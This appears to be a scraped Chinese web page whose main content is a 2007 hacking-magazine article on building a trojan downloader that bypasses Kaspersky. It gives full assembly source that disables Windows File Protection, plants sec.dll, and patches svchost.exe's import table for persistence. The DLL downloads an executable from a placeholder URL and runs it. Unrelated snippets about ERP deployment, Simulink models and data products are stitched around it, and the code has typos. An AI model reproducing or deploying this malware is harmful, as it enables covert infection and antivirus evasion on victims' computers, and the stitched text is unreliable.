修改引入表打造穿透KIS6的下载者

金蝶ERP私有化部署实战:从架构设计到性能调优全解析 企业级应用部署是软件工程中的关键环节,其核心在于构建稳定、高效、可扩展的运行环境。从技术原理上看,部署架构通常采用分层设计,前端通过Web服务器处理请求与静态资源,中间件层承载核心业务逻辑,数据库层负责数据持久化。这一架构的价值在于通过组件解耦与负载均衡,保障系统的高可用性与性能。在实际应用场景中,如ERP系统部署,中间件选型与配置尤为关键,它直接决定了系统的并发处理能力与稳定性。以金蝶云星空等主流ERP的私有化部署为例,部署过程涉及国产中间件适配、JVM参数调优、数据库连接池配置等深度实践。本文聚焦于金蝶 阅读详情

 每个引入的DLL都会用一个IMAGE_IMPORT_DESCRIPTOR表示,该结构定义如下:
IMAGE_IMPORT_DESCRIPTOR STRUCT
  union
   Characteristics dd ?
   OriginalFirstThunk dd ?
  ends
  TimeDateStamp dd ?
  ForwarderChain dd ?
  Name1 dd ?
  FirstThunk dd ?
IMAGE_IMPORT_DESCRIPTOR ENDS
对照着图应该很容易明白,修改后的引入表如图2:

这样,系统重启后svchost就会默认加载我们的sec.dll,于是强大的卡巴就倒在了脚下。
   其实,像“黑客之门”一样修改引入表实现自启动非常简单,方法有两种,一种是利用微软提供的Detour库实现,另外一种就是自己实现,我比较推荐第一种,但是抱着学习的目的我们还是得练练手,代码我已经用纯ASM实现了一个简单的下载者,仅供各位参考,概括的说一下实现过程:
1.定位目标原引入表,将其读出
2.增加一个新节
3.将被我们修改过的引入表写入新节
4.将目标的引入表地址指向新节
这有个问题需要澄清一下,增加一个新节会使目标的文件大小改变,要文件大小不变也可以,只要找到足够大的空隙,然后写入新引入表即可,我下面的代码以XP下的svchost作为例子,所以无法插入空隙,修改使文件大小不改变的就留给各位读者当个作业吧。


.386
.model flat,stdcall
option casemap:none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;include
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include    windows.inc
include    kernel32.inc
includelib kernel32.lib
include    advapi32.inc
includelib  advapi32.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data
dwWriten  dd 0
zero      dd 0
dllname    db 'sec.dll',0
funpara    db 0,0,'SecConfig',0
PE_Header        IMAGE_NT_HEADERS    <0>
My_Section       IMAGE_SECTION_HEADER    <>
My_Dll       MAGE_IMPORT_DESCRIPTOR <>
My_DllName     IMAGE_IMPORT_BY_NAME   <>
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.const
Head_Len         equ    sizeof IMAGE_NT_HEADERS + sizeof IMAGE_SECTION_HEADER
;宏
CTEXT    MACRO y:VARARG
   LOCAL sym
   CONST segment
   ifidni <y>,<>
       sym db 0       
   else           
       sym db y,0
   endif
   CONST ends
   exitm <offset sym>
ENDM
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
include    disablewfp.asm
start:
.code
 call _Sfcoff    ;关闭文件保护
   call CreateDll
   call SetFile
   call Modimport ;改写PE文件引入表
exit:
     invoke ExitProcess,NULL

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;对目标文件进行更名
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
SetFile proc
   local destpath[255]:BYTE
   local tmppath[255]:BYTE
 invoke RtlZeroMemory,addr destpath,255
 invoke RtlZeroMemory,addr tmppath,255
 invoke GetSystemDirectory,addr destpath,255
 invoke GetSystemDirectory,addr tmppath,255
 invoke lstrcat,addr destpath,CTEXT("/svchost.exe")
 invoke lstrcat,addr tmppath,CTEXT("/suchost.exe")
 
 invoke MoveFile,addr destpath,addr tmppath
 invoke CopyFile,addr tmppath,addr destpath,FALSE
 ret
SetFile endp


;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;RVA转换成磁盘文件中的偏移
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
RVAToOffset PROC uses edi esi edx ecx pFileMap:DWORD,RVA:DWORD
  mov esi,pFileMap
  assume esi:ptr IMAGE_DOS_HEADER
  add esi,[esi].e_lfanew
  assume esi:ptr IMAGE_NT_HEADERS
  mov edi,RVA ; edi == RVA
  mov edx,esi
  add edx,sizeof IMAGE_NT_HEADERS
  mov cx,[esi].FileHeader.NumberOfSections
  movzx ecx,cx
  assume edx:ptr IMAGE_SECTION_HEADER
  .while ecx>0 ; check all sections
    .if edi>=[edx].VirtualAddress
      mov eax,[edx].VirtualAddress
      add eax,[edx].SizeOfRawData
      .if edi<eax ; The address is in this section
        mov eax,[edx].VirtualAddress
        sub edi,eax
        mov eax,[edx].PointerToRawData
        add eax,edi ; eax == file offset
        ret
      .endif
    .endif
    add edx,sizeof IMAGE_SECTION_HEADER
    dec ecx
  .endw
  assume edx:nothing
  assume esi:nothing
  mov eax,edi
  ret
RVAToOffset endp

Modimport proc
   local szpath[255]:BYTE
   LOCAL hFile: HANDLE
     LOCAL dwPE_Header_OffSet: DWORD
     LOCAL dwFileReadWritten: DWORD
     LOCAL dwMySectionOffSet: DWORD
     LOCAL dwLastSection_SizeOfRawData: DWORD
     LOCAL dwLastSection_PointerToRawData: DWORD
     LOCAL hMapping: DWORD
   LOCAL pMapping: DWORD
   LOCAL oImport[520]:BYTE
   LOCAL oImportlen
   LOCAL Chrarctics
   LOCAL dllnamelen:DWORD
   LOCAL funparalen:DWORD
   LOCAL irva:DWORD

   invoke RtlZeroMemory,addr oImport,520
   invoke RtlZeroMemory,addr szpath,255
 nvoke lstrcat,addr szpath,CTEXT("test.exe")

   ;打开文件:
   invoke CreateFile, addr szpath, GENERIC_READ or GENERIC_WRITE,/
           FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
   .if eax == INVALID_HANDLE_VALUE
       jmp Err_CreateFile_Exit
   .endif
   mov hFile, eax
  
   ;创建内存映射文件
   invoke CreateFileMapping, hFile, NULL, PAGE_READONLY,0,0,0
   .if eax!=NULL
     mov hMapping, eax
   .endif
   invoke MapViewOfFile,hMapping,FILE_MAP_READ,0,0,0
   .if eax!=NULL
     mov pMapping,eax
   .endif

   ;****************************************
   ;读取PE文件头
   ;****************************************
   invoke SetFilePointer, hFile, 3ch, 0, FILE_BEGIN
   invoke ReadFile, hFile, addr dwPE_Header_OffSet, 4, addr dwFileReadWritten, NULL
   invoke SetFilePointer, hFile, dwPE_Header_OffSet, 0, FILE_BEGIN
   invoke ReadFile, hFile, addr PE_Header, Head_Len, addr dwFileReadWritten, NULL
  
   ;****************************************
 ;PE文件有效性检查
   ;****************************************
   .if [PE_Header.Signature] != IMAGE_NT_SIGNATURE
       jmp Exit
   .endif
      
   ;****************************************
   ;判断是否有足够空间存储新节:
   ;****************************************
   movzx eax, [PE_Header.FileHeader.NumberOfSections]    ;得到添加新节前有多少个节:
   mov ecx, 28h    ;28h = sizeof IMAGE_SECTION_HEADER
   mul ecx         ;eax = NumberOfSections * sizeof IMAGE_SECTION_HEADER
   add eax, dwPE_Header_OffSet    ;eax = eax + PE文件头偏移
   add eax, 18h    ;18h = sizeof IMAGE_FILE_HEADER
   movzx ecx, [PE_Header.FileHeader.SizeOfOptionalHeader]
   add eax, ecx    ;eax = eax + sizeof IMAGE_OPTIONAL_HEADER
   add eax, 28h    ;添加一个新节的大小
   .if eax > [PE_Header.OptionalHeader.SizeOfHeaders]
       jmp Exit
   .endif

   ;**************************************************
   ;计算新节的偏移地址:
   ;**************************************************
   movzx eax, [PE_Header.FileHeader.NumberOfSections]
   mov ecx, 28h
   mul ecx            ;eax = NumberOfSections * sizeof IMAGE_SECTION_HEADER
   add eax, 4h        ;4h = sizeof "PE/0/0"
   add eax, dwPE_Header_OffSet
   add eax, sizeof IMAGE_FILE_HEADER
   add eax, sizeof IMAGE_OPTIONAL_HEADER
   mov dwMySectionOffSet, eax    ;现在得到了我们的新节的偏移地址
   push [PE_Header.OptionalHeader.SizeOfImage]
   pop [My_Section.VirtualAddress]
  
  
   ;****************************************
   ;重构引入表,在文件的最后写入我们的新节:
   ;****************************************
   ;读取原始引入表数据,读取正确的不带0的引入表
   mov edi,[PE_Header.OptionalHeader.DataDirectory [sizeof IMAGE_DATA_DIRECTORY].VirtualAddress]
   invoke RVAToOffset,pMapping,edi
   mov edi,eax
   invoke SetFilePointer, hFile, edi, 0, FILE_BEGIN
   ;不读空的结束符
   mov oImportlen,0
   lea edi,oImport
calclen:
   invoke ReadFile, hFile, edi , 4, addr dwFileReadWritten, NULL
   mov ebx,[edi]
   test ebx,ebx
   jz calcover
   add edi,4
   add oImportlen,4
   jmp calclen
calcover:


   ;写入dll名称,定位到最后一节的raw offset处
   mov eax, dwMySectionOffSet
   sub eax, 18h
   invoke SetFilePointer, hFile, eax, 0, FILE_BEGIN
   invoke ReadFile, hFile, addr dwLastSection_SizeOfRawData, 4, addr dwFileReadWritten, NULL
   invoke ReadFile, hFile, addr dwLastSection_PointerToRawData, 4, addr dwFileReadWritten, NULL   
   mov ebx, dwLastSection_SizeOfRawData
   add ebx, dwLastSection_PointerToRawData
   invoke SetFilePointer, hFile, ebx, 0, FILE_BEGIN
   push 0
   lea eax, dwFileReadWritten
   push eax
   mov eax,sizeof dllname
   mov dllnamelen,eax
   push eax ;[My_Section.SizeOfRawData]
   lea eax, dllname
   push eax
   push hFile
   call WriteFile
  
   ;写入IMAGE_THUNK_DATA
   push 0
   lea eax, dwFileReadWritten
   push eax   
   mov eax,sizeof funpara
   ;add eax,sizeof funpara
   mov funparalen,eax
   push eax
   lea eax, funpara
   push eax
   push hFile
   call WriteFile
  
   ;写入IMAGE_THUNK_DATA的RVA
   mov eax,[My_Section.VirtualAddress]
   add eax,dllnamelen
   mov irva,eax
   invoke WriteFile, hFile, addr irva, 4, addr dwFileReadWritten, NULL
   ;写入一个空IMAGE_THUNK_DATA的RVA作为结尾
   invoke WriteFile, hFile, addr zero, 4, addr dwFileReadWritten, NULL
  
   ;写入原引入表数据
   mov ecx,oImportlen
   invoke WriteFile, hFile, addr oImport, ecx, addr dwFileReadWritten, NULL   
  
   ;构造新引入的DLL的IMAGE_IMPORT_DESCRIPTOR
   mov eax,[My_Section.VirtualAddress]
   add eax,dllnamelen
   add eax,funparalen
   mov [My_Dll.OriginalFirstThunk],eax
   mov [My_Dll.TimeDateStamp],0FFFFFFFFh
   mov [My_Dll.ForwarderChain],0FFFFFFFFh
   mov ebx,[My_Section.VirtualAddress]
   mov [My_Dll.Name1],ebx
   mov [My_Dll.FirstThunk],eax
  
   ;写入新引入的DLL的IMAGE_IMPORT_DESCRIPTOR
   invoke WriteFile, hFile, addr My_Dll, 20, addr dwFileReadWritten, NULL
  
   ;写入以0结尾的空IMAGE_IMPORT_DESCRIPTOR
   push 20
   pop ecx
fillzero:
   push ecx
   invoke WriteFile, hFile, addr zero, 1, addr dwFileReadWritten, NULL
   pop ecx
   dec ecx
   test ecx,ecx
   jnz fillzero


   ;****************************************
   ;填充我们自己的节的信息:
   ;****************************************
   mov dword ptr [My_Section.Name1], "ler."
   mov dword ptr [My_Section.Name1]+4, "co"
   mov [My_Section.Misc.VirtualSize], 1000h
   push [PE_Header.OptionalHeader.SizeOfImage]
   pop [My_Section.VirtualAddress]
   mov eax, [My_Section.Misc.VirtualSize]
   mov eax,dllnamelen
   add eax,funparalen
   add eax,28
   add eax,[PE_Header.OptionalHeader.DataDirectory [sizeof IMAGE_DATA_DIRECTORY].isize]
   mov [My_Section.SizeOfRawData], eax  ;SizeOfRawData在EXE文件中是对齐到FileAlignMent的整数倍的值
   mov eax, dwMySectionOffSet
   sub eax, 18h    ;这个偏移是定位到最后一节的“SizeOfRawData”
   invoke SetFilePointer, hFile, eax, 0, FILE_BEGIN
   invoke ReadFile, hFile, addr dwLastSection_SizeOfRawData, 4, addr dwFileReadWritten, NULL
   invoke ReadFile, hFile, addr dwLastSection_PointerToRawData, 4, addr dwFileReadWritten, NULL
   ;每个节的 PointerToRawData 等于它的上一节的 SizeOfRawData + PointerToRawData:
   mov eax, dwLastSection_SizeOfRawData
   add eax, dwLastSection_PointerToRawData
   mov [My_Section.PointerToRawData], eax
   mov [My_Section.PointerToRelocations], 0h
   mov [My_Section.PointerToLinenumbers], 0h
   mov [My_Section.NumberOfRelocations], 0h
   mov [My_Section.NumberOfLinenumbers], 0h
   mov [My_Section.Characteristics], 0C0000040h    ;可读可写

   ;**************************************************
   ;重新写入IMAGE_SECTION_HEADER:(包含了新节的信息)
   ;**************************************************
   invoke SetFilePointer, hFile, dwMySectionOffSet, 0, FILE_BEGIN
   invoke WriteFile, hFile, addr My_Section, sizeof IMAGE_SECTION_HEADER, addr dwFileReadWritten, NULL

   ;**************************************************
   ;改写IMAGE_NT_HEADERS
   ;(需要改写 SizeOfImage)
   ;**************************************************
   inc [PE_Header.FileHeader.NumberOfSections]
   mov eax, [My_Section.VirtualAddress]
   add eax, dllnamelen
   add eax, funparalen
   add eax, 8
   mov [PE_Header.OptionalHeader.DataDirectory [sizeof IMAGE_DATA_DIRECTORY].VirtualAddress],eax
   mov eax, [My_Section.Misc.VirtualSize]
   mov ecx, [PE_Header.OptionalHeader.SectionAlignment]
   cdq
   div ecx
   inc eax
   mul ecx
   add eax, [PE_Header.OptionalHeader.SizeOfImage]
   mov [PE_Header.OptionalHeader.DataDirectory [(sizeof IMAGE_DATA_DIRECTORY)*11].VirtualAddress], 0
   mov [PE_Header.OptionalHeader.DataDirectory [(sizeof IMAGE_DATA_DIRECTORY)*11].isize], 0
   mov [PE_Header.OptionalHeader.DataDirectory [(sizeof IMAGE_DATA_DIRECTORY)*12].VirtualAddress], 0
   mov [PE_Header.OptionalHeader.DataDirectory [(sizeof IMAGE_DATA_DIRECTORY)*12].isize], 0
   sub eax,1000h
   mov [PE_Header.OptionalHeader.SizeOfImage], eax    ;SizeOfImage是一个对齐到SectionAlignment的整数倍的值
   invoke SetFilePointer, hFile, dwPE_Header_OffSet, 0, FILE_BEGIN
   invoke WriteFile, hFile, addr PE_Header, sizeof IMAGE_NT_HEADERS, addr dwFileReadWritten, NULL
  
   ;改写.text属性为E00000020h,默认.text为第一个节
   mov eax, dwPE_Header_OffSet
   add eax, sizeof IMAGE_FILE_HEADER
   add eax, sizeof IMAGE_OPTIONAL_HEADER
   add eax,40;定位到Characteristics 0E0000020h
   invoke SetFilePointer, hFile, eax, 0, FILE_BEGIN
   push NULL
   lea eax, dwFileReadWritten
   push eax
   push 4
   mov Chrarctics,0E0000020h
   lea eax,Chrarctics
   push eax
   push hFile
   call WriteFile
  
Exit:
   ;关闭文件:
   invoke UnmapViewOfFile, pMapping
   invoke CloseHandle,hMapping
   invoke CloseHandle, hFile   
Err_CreateFile_Exit:
   ret
Modimport endp

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;释放DLL至系统目录
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>
CreateDll proc
 local hResInfo:HRSRC
 local hResData:HGLOBAL
 local dwSize:DWORD
 local dwWritten:DWORD
 local hFile:HANDLE
 local hRec:HANDLE
 local dllpath[255]:BYTE
   invoke RtlZeroMemory,addr dllpath,255
   invoke GetSystemDirectory,addr dllpath,255
   invoke lstrcat,addr dllpath,CTEXT("/sec.dll")
   invoke FindResource,0,1001,CTEXT("DLL")
   mov hResInfo,eax
   invoke SizeofResource,0,hResInfo
   mov dwSize,eax
   invoke LoadResource,0,hResInfo
   mov hResData,eax
   invoke CreateFile,addr dllpath,GENERIC_WRITE,0, NULL,CREATE_ALWAYS,0,NULL
   mov hFile,eax
   invoke LockResource,hResData
   mov hRec,eax
   invoke WriteFile,hFile,hRec,dwSize,addr dwWritten,0
   invoke CloseHandle,hFile
   ret
CreateDll endp

end start
DLL实现下载并执行的功能,代码如下:
.386 
.model  flat,  stdcall 
option  casemap  :none      ;  case  sensitive 
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
include  windows.inc
include  kernel32.inc
includelib kernel32.lib

down proto
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
return  MACRO  arg 
     mov  eax,  arg 
     ret 
ENDM

;宏
CTEXT    MACRO y:VARARG
   LOCAL sym
   CONST segment
   ifidni <y>,<>
       sym db 0       
   else           
       sym db y,0
   endif
   CONST ends
   exitm <offset sym>
ENDM
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data
szURL  db 'http://127.0.0.1/gyzy.exe',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
szPath db 'c:/a.exe',0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
LibMain  proc  hInstDLL:DWORD,  reason:DWORD,  unused:DWORD 
       .if  reason  ==  DLL_PROCESS_ATTACH 
           invoke CreateThread,0,0,offset down,0,0,0
           return TRUE
              .elseif  reason  ==  DLL_PROCESS_DETACH
              .elseif  reason  ==  DLL_THREAD_ATTACH
              .elseif  reason  ==  DLL_THREAD_DETACH
              .endif
              ret
LibMain  Endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;下载者功能执行模块
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
down proc
     local downfunc:DWORD
  
     call loadlib
     lib db 'urlmon',0
loadlib:
     call LoadLibraryA
     call getfuncaddr
     func db 'URLDownloadToFileA',0
getfuncaddr:
     push eax
     call GetProcAddress
     mov  downfunc,eax

again:
     push 5000
     call Sleep
    
     push NULL
     push NULL
     push offset szPath
     push offset szURL
     push NULL
     call downfunc
    
     test eax,eax
     jnz again

     call exec
tExit:
     ret
down endp

exec proc
     invoke WinExec,offset szPath,1
     ret
exec endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;为引入表导出的函数
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
SecConfig  proc
     xor eax,eax
     ret
SecConfig  endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
End  LibMain

 

其中我们的DLL必须导出一个函数,否则svchost会报找不到指定的要加载的DLL,测试的时候需要先停止windows系统文件保护,然后替换svchost.exe,重启后就会发现我们的小马已经成功下载东西,但是还有一些瑕疵有待改善,XP下默认有多个svchost,所以我们的DLL中的线程也运行了多次。卡巴大叔一点反应都没有(除程序完整性检测外其余均打开的情况下,默认的高级模式)如图3:


图3

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文章作者:gyzy [E.S.T](www.gyzy.org)信息来源:邪恶八进制信息安全团队(www.eviloctal.com)本文已经发表在《黑客防线》2007年2月刊。作者及《黑客防线》保留版权,转载请注明原始出处。适合读者:木马爱好者前置知识:汇编语言基础,PE结构基础文/图 孤烟逐云(gyzy)【江苏大学信息安全系 & 邪恶八进制信息安全团队】 今年四月份的黑防有一篇文...

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双向全桥CLLC谐振变换器仿真模型(Simulink仿真实现)

内容概要:本文系统介绍了双向全桥CLLC谐振变换器的Simulink仿真模型,重点阐述了变频控制、闭环仿真及其与多种电力电子拓扑(如维也纳整流器、DAB变换器、图腾柱PFC等)的联合仿真设计。资源包涵盖2.5kW双向全桥LLC、V2G电动汽车充放电系统、三相PFC、多相交错LLC等多种变换器的仿真案例,并深入展示了三电平VIENNA整流器在双闭环PI控制与SVPWM调制策略下,结合上下电容电压差值补偿实现中点电位平衡的先进控制方法。通过仿真验证,该策略不仅有效维持了800V直流母线电压的稳定,还在动态工况下显著提升了电容电压的均衡度,同时保持了较低的输入电流THD,充分体现了SVPWM与中点平衡控制协同优化的技术优势。; 适合人群:具备电力电子与自动控制理论基础,从事新能源发电、电动汽车、工业电源、微电网等领域的研究生、工程师及科研人员。; 使用场景及目标:① 学习并构建高频谐振变换器(如LLC、CLLC)的Simulink仿真模型,掌握其变频与混合控制策略;② 深入理解并应用中点电位平衡、双闭环PI控制、SVPWM调制等核心技术于VIENNA等三电平变换器中;③ 复现高水平期刊论文中的控制算法,服务于科研项目申报、学术论文撰写或工程产品开发。; 阅读建议:该资源为综合性仿真资料库,建议使用者结合自身研究方向(如电动汽车充电、新能源并网)选择对应案例进行精学,重点关注控制策略的设计逻辑、仿真参数的整定方法以及SVPWM与中点平衡的协同机制,并充分利用附带的计算书和参考文献深化理解,以实现从仿真模型到实际工程应用的顺利转化。

港股十档行情tick数据,包含逐笔成交与买卖委托快照 逐笔记录含成交时间、价格、成交量、成交方向及委托单类型 十档委托快照提供买卖各十个价位的挂单价格与挂单数量,可观察盘口深度变化 分钟数据以一分钟为

港股十档行情tick数据,包含逐笔成交与买卖委托快照。逐笔记录含成交时间、价格、成交量、成交方向及委托单类型。十档委托快照提供买卖各十个价位的挂单价格与挂单数量,可观察盘口深度变化。分钟数据以一分钟为单位,包含开盘价、最高价、最低价、收盘价、成交量及成交额。历史行情覆盖近十五年,提供完整日线csv表格,字段包含日期、开盘价、最高价、最低价、收盘价、成交量、成交额,部分还包含调整因子或前收盘价。所有数据均为非实时历史数据。 数据源:CMES金融数据库

全桥LLC谐振(变频+移相混合控制)变换器闭环仿真模型(Simulink仿真实现)

全桥LLC谐振(变频+移相混合控制)变换器闭环仿真模型(Simulink仿真实现)

虚拟同步发电机(VSG)惯量阻尼自适应控制仿真模型(simulink仿真实现)

内容概要:本文提供了“虚拟同步发电机(VSG)惯量阻尼自适应控制仿真模型”的Simulink仿真实现方法,系统阐述了如何通过仿真手段研究VSG在电力系统中的动态响应特性,重点聚焦于其惯量与阻尼的自适应控制策略。文中详细说明了模型构建流程,涵盖控制算法设计、参数调节、根轨迹分析等内容,并通过对比不同调节系数下的系统响应,深入探讨了控制参数对系统稳定性与动态性能的影响。该仿真模型有效复现了VSG模拟传统同步发电机惯性与阻尼特性的能力,对于提升新能源并网系统的频率稳定性和抗扰动能力具有重要研究价值。; 适合人群:具备电力系统、自动化或相关领域基础知识,从事新能源并网、微电网控制、电力电子与电力系统仿真研究的研究生、科研人员及工程师。; 使用场景及目标:①用于教学与科研中深入理解虚拟同步发电机的工作原理及其在现代电力系统中的应用;②为新能源发电系统接入电网时的稳定性分析与控制策略设计提供仿真验证平台;③支持对VSG控制参数进行优化,提升系统应对负荷波动和扰动的能力。; 阅读建议:建议读者结合Matlab/Simulink软件动手实践,按照文档结构逐步搭建仿真模型,重点关注控制环路设计与参数整定部分,同时参考提供的代码与仿真结果进行对比分析,以加深对VSG自适应控制机制的理解。

高校技术转移办公室人员如何提升科技成果推介效率与质量?.docx

科易网基于AI模型+行业大数据,在技术转移、成果转化、技术经纪、知识产权、产业创新、科技招商等垂直领域的多样化应用场景,推出科技创新领域的AI+工具与数智化解决方案,推动科技创新与产业创新智能化发展。

两相交错并联Boost电路仿真模型(Simulink仿真实现)

内容概要:本文介绍了“两相交错并联Boost电路仿真模型(Simulink仿真实现)”的技术资源,属于电力电子变换器领域的仿真研究内容。该模型基于Simulink平台构建,旨在深入分析两相交错并联Boost电路的工作原理、动态响应特性及控制策略。交错并联结构通过错开各相开关管的导通时刻,有效降低输入电流纹波、提升系统效率与功率密度,适用于中高功率DC-DC变换应用场景。资源包含完整的主电路建模、PWM驱动信号生成、闭环控制器设计(如电压/电流双闭环控制)等关键模块,并可能涵盖软启动、均流控制等关键技术问题。整个仿真模型强调理论分析与工程实践的紧密结合,不仅有助于理解电路基本行为,也为优化控制算法提供验证平台,服务于科研与教学需求。; 适合人群:电气工程、自动化、电力电子及相关专业的高校本科生、研究生,以及从事电源系统研发的工程技术人员,具备一定的电路理论、自动控制原理和Simulink仿真基础者更佳。; 使用场景及目标:① 学习和掌握两相交错并联Boost电路的拓扑结构、工作机理及性能优势;② 利用Simulink进行电力电子电路的建模与仿真,深入理解PWM控制、闭环调节、均流控制等核心技术的应用;③ 为科研项目、课程设计或毕业设计提供可复用的仿真案例和技术支持,辅助开展中高功率电源系统的创新设计与优化研究。; 阅读建议:建议结合Simulink软件动手搭建并调试模型,通过调整占空比、开关频率、电感参数等变量,观察其对输入电流纹波、输出电压稳定性及动态响应的影响,以深化对电路特性的理解;同时可参考文中列出的其他相关资源(如LLC、PFC等仿真模型)进行横向对比学习,拓宽电力电子系统设计视野。

基于双向Buck-Boost电路的锂电池储能充电+放电控制Simulink仿真

内容概要:本文系统介绍了基于双向Buck-Boost电路的锂电池储能系统充放电控制的Simulink仿真设计,重点构建了储能系统中能量双向流动的控制模型,涵盖充电与放电两种工作模式。通过Simulink平台搭建主电路拓扑与闭环控制系统,实现对锂电池的安全、高效能量管理,确保系统在不同工况下的稳定性与动态响应性能。研究不仅聚焦于Buck-Boost变换器的能量转换机制,还结合多种先进控制策略,如模型预测控制、电压下垂控制等,提升系统的控制精度与鲁棒性。同时,文中列举了包括LLC谐振变换器、Vienna整流器、PWM整流器等多种电力电子变换器的仿真案例,体现了该资源在新能源、微电网及电力电子系统建模与控制领域的广泛适用性与技术综合性; 适合人群:具备电力电子、自动控制或电气工程等相关专业背景,熟悉MATLAB/Simulink仿真环境,从事新能源系统、储能技术、电力电子变换器设计及相关领域研究的研发人员与高校研究生; 使用场景及目标:①深入理解双向Buck-Boost电路在锂电池储能系统中的能量管理原理与系统建模方法;②掌握基于Simulink的充放电控制策略设计、闭环系统搭建与仿真验证流程;③拓展至其他主流DC-DC与AC-DC变换器(如LLC、Vienna、DAB等)的建模与控制研究,服务于科研项目、课程设计、毕业课题或工程开发应用; 阅读建议:建议结合文中提供的仿真模型与参考资料,动手实践Simulink建模与参数调试过程,重点关注控制环路的设计逻辑、控制器参数整定方法及系统动态响应特性;同时可参考同系列其他变换器的仿真案例,横向比较不同拓扑的控制策略差异,以拓宽技术视野与工程应用能力。

kettle从入门到精通 第九十二课 ETL之kettle 使用Kettle的Carte对外发布读写接口

场景:使用kettle实现将查询结果返回给客户端,也就是说kettle暴露查询接口供外围系统调用。前提必须是使用carte服务才可以提供接口供外部系统调用。具体实操方法如下:1、设计转换根据具体需求设计转换,主要用到的步骤有获取变量(从请求参数中获取变量)、json输入(解析入参),json 输出将结果转换为json格式输出到客户端。如下图所示:2、接收参数使用获取变量步骤来接收接口请求参数,变量通过${}方法进行获取,如下图${PARAM}则是获取PARAM参数,将参数赋值为req字段。

zhangjin1222的博客 955

2023-12-26~2025-07-04备份

一、海康视觉与汇川机器人 服务器-客户端通信设置IP在同一网段名称IP端口类型海康相机工控机7930服务器机器人3000客户端海康VM服务器设置1通信管理 增添TCP服务端,设置本机IP:192.168.0.20,端口号79302 协议解析 通信双方约定通信格式(设置收发数据格式,分隔符)机器人客户端设置(不同类型机器人设置有差别)1 通讯服务设置 设置连接服务器IP、服务端端口号、机器人端口号,确保连接正常2 协议解析 使用指令代码构建通讯解析。

青铜小码农 3131
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